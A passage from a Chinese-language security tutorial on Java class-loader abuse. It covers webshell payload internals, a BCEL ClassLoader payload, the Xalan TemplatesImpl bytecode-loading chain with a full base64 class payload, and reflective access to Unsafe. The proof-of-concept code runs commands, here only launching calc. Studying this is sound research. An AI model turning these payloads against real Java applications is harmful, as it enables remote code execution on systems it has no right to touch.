String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode)
if (version.compareTo("1.9") >= 0) {
getClass();
Class<?> Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
} else {
getClass();
Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
value = value.replace("\n", "").replace("\r", "");
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(","))
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map<String, Object>)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
}
}
可以看到, 其中定义了equals
方法, 调用fillContext
函数将马子中传递过来的pageContext
传入过来了, 随后通过pageContext
得到WEB中request, response, session
对象. 接下来的操作就不一一分析了, Java代码已放到这可以慢慢嚼, 这里主要还是看一下ClassLoader
的妙用.
Tomcat ClassLoader
介绍完自定义 ClassLoader, 接下来我们看一下 Tomcat 底层使用的 ClassLoader.
Tomcat 中部署了很多应用 (Tomcat 中默认存在 CatalinaClassLoader),A应用
与B应用
中比如都引入了com.Heihu577
类, 为了防止B应用
引用到了A应用
的com.Heihu577
, 所以Tomcat
中每个WEB都默认自定义了一个类加载器 (WebAppClassLoader).
WebAppClassLoader
研究WebAppClassLoader
的加载机制, 当然我们要从loadClass
方法进行入手.
那么接下来我们继续看下面的代码:
这里笔者通过Debug
调试, 发现该 ClassLoader 是 ExtClassLoader, 这么做是为了让我们加载以java.
打头的类例如java.lang.String
时, 不会报错, 所以这里使用了ExtClassLoader
. 那么看接下来的代码:
这里的 Class.forName(name, false, parent) 的含义会在下面 《代码审计时使用的场景》进行介绍.
那么我们重点分析 WebAppClassLoader 本类的findClass
方法:
WEB-INF/lib
下的jar
包等加载在StandardRoot::getResourceInternal
方法中有记载, 以及Tomcat jar包热加载
这里就不再说明了, 只是简单的说明一下Tomcat ClassLoader
的处理机制.
BCEL ClassLoader
BCEL 介绍
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections
。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
。
BCEL Classloader在JDK < 8u251
之前是在rt.jar
里面。同时在Tomcat中也会存在相关的依赖。
tomcat7: org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8 及其以后: org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BCEL 加载类的原理 && 恶意 EXP 编写
在研究之前, 我们先准备一个Calc
类, 代码如下:
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
当类被加载, 则进入static
代码块, 进行弹出计算器的操作. 下面我们再来分析BCEL
类的加载原理.
在rt.jar!/com/sun/org/apache/bcel/internal/util/
包下,有ClassLoader
这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()
方法, 具体其他的也不多说, 直接看源码分析:
那么我们拿到一个类的字节码值有一种方式就是, 运行Java后, 读取所生成的.class
文件的内容, 但是这样有点太麻烦, 有没有什么方式可以在我们运行Java中来得到字节码的信息呢? 答案是有的, 那就是Repository.lookupClass(Class<?> clazz)
方法, 该方法可以在程序运行中读取一个class
信息, 例如:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass javaclass = Repository.lookupClass(Calc.class);
System.out.println(javaclass);
/*
* public class com.heihu577.bean.Calc extends java.lang.Object
filename com.heihu577.bean.Calc
compiled from Calc.java
compiler version 52.0
access flags 33
constant pool 38 entries
ACC_SUPER flag true
Attribute(s):
SourceFile(Calc.java)
2 methods:
public void <init>()
static void <clinit>()
* */
System.out.println(Arrays.toString(javaclass.getBytes())); // 生成的字节码信息...
/*
* [-54, -2, -70, -66, 0, 0, 0, 52, 0, 38, 10, 0, 8, 0, 23, 10, 0, 24, 0, 25 ...
* */
}
}
当然了, 它的原理如下:
那么最终, 我们可以通过如下代码进行调用我们的Calc
:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass calcJavaClass = Repository.lookupClass(Calc.class); // 得到 Calc 类的 JavaClass
String calcEncode = Utility.encode(calcJavaClass.getBytes(), true); // 使用 Utility.encode 编码 Calc 的字节码
// calcJavaClass.getBytes()是用来获取字节码的
String payload = "$$BCEL$$" + calcEncode; // 得到最终 payload
Class<?> clazz = new ClassLoader().loadClass(payload); // 最终得到该类的 clazz
Object o = clazz.newInstance(); // 初始化类, 调用 static 静态代码块, 弹出计算器
}
}
运行结果如下:
代码审计时使用场景
通常当我们遇到Class.forName(可控,true,可控)
时, 即可触发漏洞.
参数1: 调用 loadClass(可控) 的值
参数2: 当设置为 true 时, 则表示加载类, 这里可以直接进入到类的 static 静态代码块.
参数3: 使用哪个 ClassLoader 进行加载, 如果这里可以指定, 那么我们可以指定 BCEL ClassLoader 进行加载.
我们就可以进行一个RCE, 案例如下:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException,
InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass calcJavaClass = Repository.lookupClass(Calc.class);
String calcEncode = Utility.encode(calcJavaClass.getBytes(), true);
String payload = "$$BCEL$$" + calcEncode;
Class.forName(payload, true,
(ClassLoader) "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());
// 执行完毕后, 可以弹出计算器
}
}
当然了, 这里我们也可以看一下Class.forName(String)
的定义, 来理解为什么Class.forName(类名)
可以直接进入到静态代码块:
@CallerSensitive
public static Class<?> forName(String className)
throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}
可以从中看到, 默认第二个参数设置为了 true, 所以可以直接进入 static 静态代码块.
Xalan ClassLoader
Xalan 是 Java 中用于操作 XML 的一个库,它是 Apache XML 项目的一部分,主要用于将 XSLT(Extensible Stylesheet Language Transformations)转换为可执行代码,从而实现XML文档的转换。
XSLT 的理解
当然了, 我们先理解该模块如何使用之后, 我们再研究它的妙用, XSLT 说白了就是将XML + XSL
文件解析为HTML
文件, 具体如何理解呢, 我们定义如下代码:
1.XML 文件内容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?> <!-- 引用 1.xsl 文件 -->
<users> <!-- 定义 users, 其中存放一些信息内容 -->
<info>
<username>heihu577</username> <!-- heihu577 用户定义 -->
<age>12</age>
</info>
<info>
<username>hacker01</username> <!-- hacker01 用户定义 -->
<age>13</age>
</info>
</users>
对于XML的解释我们就不多说了, 是一种存储数据的方式.
1.XSL 文件内容如下:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- XSL 文件必须引用的头部内容 -->
<xsl:template match="/"> <!-- 定义一个模板文件 -->
<html> <!-- 放入你的 HTML 文档内容 -->
<body>
<h2>My XSL Tester</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>username</th>
<th>age</th>
</tr>
<xsl:for-each select="users/info"> <!-- 从 XML 文件中遍历 users/info 中的内容 -->
<tr>
<td><xsl:value-of select="username"/></td> <!-- 将 users/info/username 值放入到 td 标签中 -->
<td><xsl:value-of select="age"/></td> <!-- 将 users/info/age 值放入到 td 标签中 -->
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
总的来说存在一个引用关系, 关系图如下:
从图中可以看到, 1.xml 用来定义数据信息, 1.xsl 用来定义 HTML 模板并引用 1.xml 中的数据信息, 最终生成 result.html.
其中1.xml + 1.xsl -> result.html
生成的 Java 代码如下:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException {
TransformerFactory transformerFactory = new TransformerFactoryImpl(); // 得到工厂类
ClassLoader appClassLoader = ClassLoader.getSystemClassLoader(); // 得到 ClassLoader, 方便得到 resources 目录下的文件流
Transformer transformer =
transformerFactory.newTransformer(
new StreamSource(appClassLoader.getResourceAsStream("1.xsl"))
); // 得到转换器, 传入 XSL 文件
/*
@Override
public Transformer newTransformer(Source source) throws // transformerFactory.newTransformer 方法原型
TransformerConfigurationException
{
final Templates templates = newTemplates(source); // 注意这里应用到了 Templates 类
final Transformer transformer = templates.newTransformer();
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
return(transformer);
}
*/
transformer.transform(
new StreamSource(appClassLoader.getResourceAsStream("1.xml")), // 传入 1.xml 文件, 读取数据信息
new StreamResult(new File(appClassLoader.getResource(".").getPath(), "result.html")) // 生成 result.html 文件内容
);
}
}
TemplatesImpl 类攻击链
在上述代码中我们对transformerFactory.newTransformer
方法增加了注释, 我们要重点关注final Templates templates = newTemplates(source);
中的Templates
到底是什么, 该类型是个接口类型, 定义如下:
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
被TemplatesImpl
类所实现, 如下:
public final class TemplatesImpl implements Templates, Serializable {
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
//... 其他定义
}
比较有趣的是, 该类其中定义了TransletClassLoader
, 并重写了loadClass
方法, 如果_loadedExternalExtensionFunctions
这个Map中存在我们已经定义的Class
, 那么直接返回.defineClass
方法直接调用了父类的defineClass
方法, 那么谁使用了该类加载器进行加载呢?如图:
可以看到的是,defineTransletClasses
方法中调用了defineClass
方法, 其值是我们的_bytecodes
中的字节码信息, 也就是说当我们的_bytecodes
值可控时就可以进行加载恶意字节码信息. 这里我们可以在本地利用反射进行学习这个类的使用.
紧接着注意我们图中398~399行
中笔者折叠部分的内容:
所以这里_tfactory
的值必须为TransformerFactoryImpl
类才可以保证代码的正常运行, 否则到这里会抛出一个空指针异常.
以及注意图中的410 && 422
行中对_auxClasses
成员属性的操作:
这里如果程序运行时_bytecodes.length
返回了1, 而实际运行的类并没有继承ABSTRACT_TRANSLET (AbstractTranslet)
, 则会进入到下面的else
分支,_auxClasses
将不会初始化, 也会爆出一个空指针异常.
所以如果我们的恶意类
没有继承AbstractTranslet
的话我们需要提前对_auxClasses
进行初始化操作. 因为恶意类是我们自己编写的, 最好还是遵循这个代码的走向流程, 所以这里要特别注意的是_transletIndex
变量的值.
我们的恶意类
必须要进行继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
就可以进入if分支, 这样我们就不会遇到_auxClasses
的空指针报错了.
回到loader.loadClass
点, 在我们之前学习自定义ClassLoader
中有了解到, 我们必须在调用defineClass
后调用newInstance()
生成实例才可以进入到该类的无参构造|static代码块
, 而谁又调用了defineTransletClasses
得到clazz对象后调用了newInstance()
?
getTransletInstance
方法调用了defineTransletClasses
方法后进行了newInstance()
操作, 用来实例化defineTransletClasses
中加载的类. 可以看到我们这里_name
不能为null
, 否则就不会往下执行.
在newTransformer
方法中调用了getTransletInstance
方法, 这里已经是一个可以利用的完整链路了. 当然还有调用newTransformer
方法的口:
调用流程图
为了清楚它们之间的逻辑, 笔者在这里放出总结图, 以便梳理调用关系:
本地利用该 ClassLoader
准备恶意类:
package com;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Encoder;
import java.io.IOException;
import java.util.Base64;
/**
* Author: HeiHu577
* Date: 2024/9/4 16:28
* Description:
*/
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(CMD.class).getBytes());
System.out.print(new String(encode)); // yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成Payload成功后, 我们本地通过反射依次修改变量来进行RCE测试:
package com.heihu577;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Properties;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException,
NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=");
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer();
}
}
运行会弹出计算器.
FastJson 反序列化中的应用
这一部分知识会在FastJson反序列化 && 一些反序列化链路
中所使用, 笔者就先不提及了, 后续介绍反序列化时再重新拿起.
Unsafe 类
Unsafe 类不是一个 ClassLoader, 但是为什么要在本篇文章提起, 其实是因为该类可以进行注入恶意类到 JVM 中.
Unsafe 类简介
sun.misc.Unsafe
类是一个提供底层、不安全的操作,比如直接内存访问、线程调度、原子操作
等功能的工具类。
这个类主要被Java内部库使用,比如Java的NIO、并发包等,因为它允许绕过Java的内存管理模型,直接进行内存操作,这可能导致程序崩溃、数据损坏等严重后果。因此,它被认为是"不安全"的,并且不建议在常规的应用程序开发中使用。
Unsafe 类详解
我们可以看到图中的定义,theUnsafe
成员属性的定义在static
代码块中进行初始化了. 所以我们可以通过Unsafe.getUnsafe
来得到该对象, 但是这里有一个限制. 根据下图进行代码分析:
Unsafe
的构造方法为private
修饰符, 所以我们无法在程序中直接new Unsafe()
进行实例化生成, 否则程序将报错:
这里的话我们可以通过反射进行暴破获取该类的theUnsafe
属性, 当然也可以通过反射暴破该类的构造方法, 都可以进行获取到Unsafe
类, 代码测试如下:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe) declaredConstructor.newInstance();
System.out.println(unsafe); // sun.misc.Unsafe@4554617c
}
}
以及:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化, 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
}
}
Unsafe 类利用
我们可以通过反射得到 Unsafe 对象, 那么我们如何利用呢?
我们在Unsafe 类详解
中图中已经看到了, 该类定义了三个native
